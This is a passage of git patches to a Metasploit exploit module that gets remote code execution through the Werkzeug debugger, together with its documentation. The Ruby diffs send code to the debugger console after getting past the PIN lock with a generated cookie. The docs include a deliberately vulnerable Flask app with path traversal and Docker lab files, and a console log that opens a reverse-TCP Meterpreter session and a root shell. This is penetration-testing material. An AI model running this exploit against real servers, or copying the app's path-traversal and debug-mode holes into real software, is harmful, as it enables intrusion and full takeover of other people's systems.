werkzeug.debug', 'flask.app'], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('SERVICEUSER', [ + false, + 'User account name that the service is running under. If you have path ' \ + 'traversal on Linux, you may be able to read this from /proc/self/environ', + 'root' + ], + conditions: %w[AUTHMODE == generated-cookie]), - # Options for sending a body, if required to invoke the debugger - OptString.new( - 'REQUESTBODY', - [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"], - conditions: ['METHOD', 'in', METHODS_WITH_BODY] - ), + # Options for sending a body, if required to invoke the debugger + OptString.new( + 'REQUESTBODY', + [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"], + conditions: ['METHOD', 'in', METHODS_WITH_BODY] + ), - # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me! - OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'], - conditions: %w[REQUESTBODY == set])], + # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me! + OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'], + conditions: %w[REQUESTBODY == set]) + ], self.class ) end @@ -153,28 +191,32 @@ def config_invalid? # Check that target supports selected authentication mode if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none' return CheckCode::Unknown( - "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \ - "require/support authentication. Change TARGET or set AUTHMODE to 'none'") + "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \ + "require/support authentication. Change TARGET or set AUTHMODE to 'none'" + ) end case datastore['AUTHMODE'] when 'known-cookie' unless COOKIE_PATTERN =~ datastore['COOKIE'] return CheckCode::Unknown( - 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \ - "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'") + 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \ + "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'" + ) end when 'known-PIN' unless PIN_PATTERN =~ datastore['PIN'] return CheckCode::Unknown( - 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens') + 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens' + ) end when 'generated-cookie' # Check that *all* values used to generate cookie & pin are set unless all_generation_values_set? return CheckCode::Unknown( - "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \ - 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise + "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \ + 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP' + ) # Alphabetise end # Check for valid MAC address unless MAC_PATTERN =~ datastore['MACADDRESS'] @@ -186,16 +228,17 @@ def config_invalid? return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD']) return CheckCode::Unknown( - "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body") + "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body" + ) end # Retrieve secret and frame def secret_and_frame res = send_request_cgi( 'method' => datastore['METHOD'], - 'uri' => normalize_uri(target_uri), - 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])), - 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY']) + 'uri' => normalize_uri(target_uri), + 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])), + 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY']) ) unless res print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}" @@ -218,16 +261,18 @@ def secret_and_frame def cookies(secret) res, duration = Rex::Stopwatch.elapsed_time do send_request_cgi( - 'uri' => normalize_uri(target_uri), - 'vars_get' => { '__debugger__' => 'yes', - 'cmd' => 'pinauth', - 'pin' => datastore['PIN'], - 's' => secret } + 'uri' => normalize_uri(target_uri), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => 'pinauth', + 'pin' => datastore['PIN'], + 's' => secret + } ) end unless res fail_with(Failure::TimeoutExpired, - "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}") + "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}") end if res.get_json_document['exhausted'] fail_with(Failure::NoAccess, @@ -283,27 +328,28 @@ def generated_cookie def execute_python(cmd, secret, frame, cookies = '') send_request_cgi( - 'method' => 'GET', + 'method' => 'GET', # Path without querystring because triggering debugger may have required parameters - 'uri' => normalize_uri(target_uri.path), + 'uri' => normalize_uri(target_uri.path), 'vars_get' => { '__debugger__' => 'yes', - 'cmd' => cmd, - 's' => secret, - 'frm' => frame + 'cmd' => cmd, + 's' => secret, + 'frm' => frame }, - 'cookie' => cookies + 'cookie' => cookies ) end def check_code_exec(secret, frame, cookies = '') - canary = rand() + canary = rand execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}" end def check c = config_invalid? return c if c + match = secret_and_frame unless match return CheckCode::Unknown('HTTP response not recognised as Werkzeug') @@ -311,15 +357,18 @@ def check unless match[:evalex_enabled] return CheckCode::Safe('Debugger does not allow code execution') end + print_status 'Debugger allows code execution' if match[:pin_required] return CheckCode::Detected('Debugger requires authentication') end + print_status 'Debugger does not require authentication' # Now check whether code execution is possible by evaluating something unless check_code_exec(match[:secret], match[:frame] || 0) return CheckCode::Safe('Attempted code execution failed') end + CheckCode::Vulnerable('Code execution was successful') end From f369a80fccdd8241776b1eb7f3ab67db8346ad2c Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 13 Oct 2024 22:55:12 +0100 Subject: [PATCH 09/10] Satisfy msftidy_docs against werkzeug_debug_rce.md --- .../exploit/multi/http/werkzeug_debug_rce.md | 492 +++++++++--------- 1 file changed, 237 insertions(+), 255 deletions(-) diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index 04a5a83a9f6b..cd735b112f9b 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -103,213 +103,197 @@ requesting the content of a file that doesn't exist in the container. #### compose.yaml -``` -services: - werkzeug-3.0.3: - build: - dockerfile: werkzeug-3.0.3.Dockerfile - ports: - - "80:80" - werkzeug-1.0.1: - build: - dockerfile: werkzeug-1.0.1.Dockerfile - ports: - - "81:80" - werkzeug-0.11.5: - build: - dockerfile: werkzeug-0.11.5.Dockerfile - ports: - - "82:80" - werkzeug-0.10: - build: - dockerfile: werkzeug-0.10.Dockerfile - ports: - - "83:80" - werkzeug-3.0.3-basicauth-custompin: - build: - dockerfile: werkzeug-3.0.3-basicauth.Dockerfile - environment: - WERKZEUG_DEBUG_PIN: 1234 - ports: - - "84:80" - werkzeug-3.0.3-noevalex: - build: - dockerfile: werkzeug-3.0.3.Dockerfile - ports: - - "85:80" - entrypoint: - - ./app.py - - --no-evalex -``` + services: + werkzeug-3.0.3: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "80:80" + werkzeug-1.0.1: + build: + dockerfile: werkzeug-1.0.1.Dockerfile + ports: + - "81:80" + werkzeug-0.11.5: + build: + dockerfile: werkzeug-0.11.5.Dockerfile + ports: + - "82:80" + werkzeug-0.10: + build: + dockerfile: werkzeug-0.10.Dockerfile + ports: + - "83:80" + werkzeug-3.0.3-basicauth-custompin: + build: + dockerfile: werkzeug-3.0.3-basicauth.Dockerfile + environment: + WERKZEUG_DEBUG_PIN: 1234 + ports: + - "84:80" + werkzeug-3.0.3-noevalex: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "85:80" + entrypoint: + - ./app.py + - --no-evalex #### werkzeug-3.0.3.Dockerfile -``` -# syntax=docker/dockerfile:1 -FROM python:3 -RUN pip install werkzeug==3.0.3 flask==3.0.3 -COPY report.txt . -COPY --chmod=744 app.py . -EXPOSE 80 -ENTRYPOINT ["./app.py"] -``` + # syntax=docker/dockerfile:1 + FROM python:3 + RUN pip install werkzeug==3.0.3 flask==3.0.3 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] #### werkzeug-1.0.1.Dockerfile -``` -# syntax=docker/dockerfile:1 -FROM python:2 -RUN pip install werkzeug==1.0.1 flask==1.1.4 -COPY report.txt . -COPY --chmod=744 app.py . -EXPOSE 80 -ENTRYPOINT ["./app.py"] -``` + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==1.0.1 flask==1.1.4 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] #### werkzeug-0.11.5.Dockerfile -``` -# syntax=docker/dockerfile:1 -FROM python:2 -RUN pip install werkzeug==0.11.5 flask==0.12.5 -COPY report.txt . -COPY --chmod=744 app.py . -EXPOSE 80 -ENTRYPOINT ["./app.py"] -``` + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==0.11.5 flask==0.12.5 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] #### werkzeug-0.10.Dockerfile -``` -# syntax=docker/dockerfile:1 -FROM python:2 -RUN pip install werkzeug==0.10 flask==0.12.5 -COPY report.txt . -COPY --chmod=744 app.py . -EXPOSE 80 -ENTRYPOINT ["./app.py"] -``` + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==0.10 flask==0.12.5 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] #### werkzeug-3.0.3-basicauth.Dockerfile -``` -# syntax=docker/dockerfile:1 -FROM python:3 -RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0 -COPY report.txt . -COPY --chmod=744 app-basicauth.py app.py -EXPOSE 80 -ENTRYPOINT ["./app.py"] -``` + # syntax=docker/dockerfile:1 + FROM python:3 + RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0 + COPY report.txt . + COPY --chmod=744 app-basicauth.py app.py + EXPOSE 80 + ENTRYPOINT ["./app.py"] #### app.py -``` -#!/usr/bin/env python - -import click -from flask import Flask, request, url_for, make_response -from sys import argv - -app = Flask(__name__) - -@app.route("/") -def index(): - return ( - '

' - 'Download Report Using GET

' - '

' - '' - '' - '

' -) - -def build_response(filename): - with open(filename) as file: - response = make_response(file.read()) - response.headers['Content-disposition'] = 'attachment' - return response - -@app.route("/getdownload") -def getdownload(): - return build_response(request.args.get('file')) - -@app.route("/postdownload", methods=['POST', 'PUT']) -def postdownload(): - return build_response(request.form['file']) - -@click.command() -@click.option("--no-evalex", is_flag=True, default=False) -def runserver(no_evalex): - evalex = not no_evalex - app.run(host='0.0.0.0', port=80, debug=True, threaded=True, - use_reloader=False, use_evalex=evalex) - -if __name__ == '__main__': - runserver() -``` + #!/usr/bin/env python + + import click + from flask import Flask, request, url_for, make_response + from sys import argv + + app = Flask(__name__) + + @app.route("/") + def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' + ) + + def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + + @app.route("/getdownload") + def getdownload(): + return build_response(request.args.get('file')) + + @app.route("/postdownload", methods=['POST', 'PUT']) + def postdownload(): + return build_response(request.form['file']) + + @click.command() + @click.option("--no-evalex", is_flag=True, default=False) + def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + + if __name__ == '__main__': + runserver() #### app-basicauth.py -``` -#!/usr/bin/env python - -import click -from flask import Flask, request, url_for, make_response -from sys import argv - -from flask_httpauth import HTTPBasicAuth -from werkzeug.security import generate_password_hash, check_password_hash - -app = Flask(__name__) - -auth = HTTPBasicAuth() -users = {"admin": generate_password_hash("admin")} - -@auth.verify_password -def verify_password(username, password): - if username in users and \ - check_password_hash(users.get(username), password): - return username - -@app.route("/") -@auth.login_required -def index(): - return ( - '

' - 'Download Report Using GET

' - '

' - '' - '' - '

' -) - -def build_response(filename): - with open(filename) as file: - response = make_response(file.read()) - response.headers['Content-disposition'] = 'attachment' - return response - -@app.route("/getdownload") -@auth.login_required -def getdownload(): - return build_response(request.args.get('file')) - -@app.route("/postdownload", methods=['POST', 'PUT']) -@auth.login_required -def postdownload(): - return build_response(request.form['file']) - -@click.command() -@click.option("--no-evalex", is_flag=True, default=False) -def runserver(no_evalex): - evalex = not no_evalex - app.run(host='0.0.0.0', port=80, debug=True, threaded=True, - use_reloader=False, use_evalex=evalex) - -if __name__ == '__main__': - runserver() -``` + #!/usr/bin/env python + + import click + from flask import Flask, request, url_for, make_response + from sys import argv + + from flask_httpauth import HTTPBasicAuth + from werkzeug.security import generate_password_hash, check_password_hash + + app = Flask(__name__) + + auth = HTTPBasicAuth() + users = {"admin": generate_password_hash("admin")} + + @auth.verify_password + def verify_password(username, password): + if username in users and \ + check_password_hash(users.get(username), password): + return username + + @app.route("/") + @auth.login_required + def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' + ) + + def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + + @app.route("/getdownload") + @auth.login_required + def getdownload(): + return build_response(request.args.get('file')) + + @app.route("/postdownload", methods=['POST', 'PUT']) + @auth.login_required + def postdownload(): + return build_response(request.form['file']) + + @click.command() + @click.option("--no-evalex", is_flag=True, default=False) + def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + + if __name__ == '__main__': + runserver() ## Verification Steps @@ -540,78 +524,76 @@ cookie. Valid values are: Example utilizing the previously mentioned sample app listed above. -``` -$ msfconsole -q -msf6 > use exploit/multi/http/werkzeug_debug_rce -[*] No payload configured, defaulting to python/meterpreter/reverse_tcp -msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 -RHOSTS => 192.168.23.5 -msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 -LHOST => 192.168.23.117 -msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 -VHOST => 127.0.0.1 -msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 -MACADDRESS => 02:42:ac:12:00:04 -msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8 -MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 -msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py -FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py -msf6 exploit(multi/http/werkzeug_debug_rce) > run - -[*] Started reverse TCP handler on 192.168.23.117:4444 -[*] Running automatic check ("set AutoCheck false" to disable) -[*] Debugger allows code execution -[!] Debugger requires authentication -[!] The service is running, but could not be validated. -[*] Generated authentication PIN: 105-774-671 -[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 -[*] Sending stage (24772 bytes) to 192.168.23.5 -[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100 - -meterpreter > getpid -Current pid: 38 -meterpreter > getuid -Server username: root -meterpreter > sysinfo -Computer : 3eb759665d5f -OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22 -Architecture : aarch64 -System Language : C -Meterpreter : python/linux -meterpreter > shell -Process 41 created. -Channel 1 created. - -ls -app.py -bin -boot -dev -etc -home -lib -media -mnt -opt -proc -report.txt -root -run -sbin -srv -sys -tmp -usr -var -exit -``` + $ msfconsole -q + msf6 > use exploit/multi/http/werkzeug_debug_rce + [*] No payload configured, defaulting to python/meterpreter/reverse_tcp + msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 + RHOSTS => 192.168.23.5 + msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 + LHOST => 192.168.23.117 + msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 + VHOST => 127.0.0.1 + msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 + MACADDRESS => 02:42:ac:12:00:04 + msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8 + MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 + msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py + FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py + msf6 exploit(multi/http/werkzeug_debug_rce) > run + + [*] Started reverse TCP handler on 192.168.23.117:4444 + [*] Running automatic check ("set AutoCheck false" to disable) + [*] Debugger allows code execution + [!] Debugger requires authentication + [!] The service is running, but could not be validated. + [*] Generated authentication PIN: 105-774-671 + [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 + [*] Sending stage (24772 bytes) to 192.168.23.5 + [*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100 + + meterpreter > getpid + Current pid: 38 + meterpreter > getuid + Server username: root + meterpreter > sysinfo + Computer : 3eb759665d5f + OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22 + Architecture : aarch64 + System Language : C + Meterpreter : python/linux + meterpreter > shell + Process 41 created. + Channel 1 created. + + ls + app.py + bin + boot + dev + etc + home + lib + media + mnt + opt + proc + report.txt + root + run + sbin + srv + sys + tmp + usr + var + exit ## Credits - + - 2015 - h00die (mike[at]shorebreaksecurity.com) - Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication. - 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec) - Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms: - - Generated Cookie (bypasses PIN-lock) - - Known-Cookie (bypasses PIN-lock) - - Known-PIN + - Generated Cookie (bypasses PIN-lock) + - Known-Cookie (bypasses PIN-lock) + - Known-PIN From 5228acb0f17f605e21bb40d182b8b8138e289bcf Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 13 Oct 2024 23:11:52 +0100 Subject: [PATCH 10/10] Update werkzeug_debug_rce docs to show modified output --- documentation/modules/exploit/multi/http/werkzeug_debug_rce.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index cd735b112f9b..8a1f0400ef52 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -544,8 +544,7 @@ Example utilizing the previously mentioned sample app listed above. [*] Started reverse TCP handler on 192.168.23.117:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Debugger allows code execution - [!] Debugger requires authentication - [!] The service is running, but could not be validated. + [!] The service is running, but could not be validated. Debugger requires authentication [*] Generated authentication PIN: 105-774-671 [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 [*] Sending stage (24772 bytes) to 192.168.23.5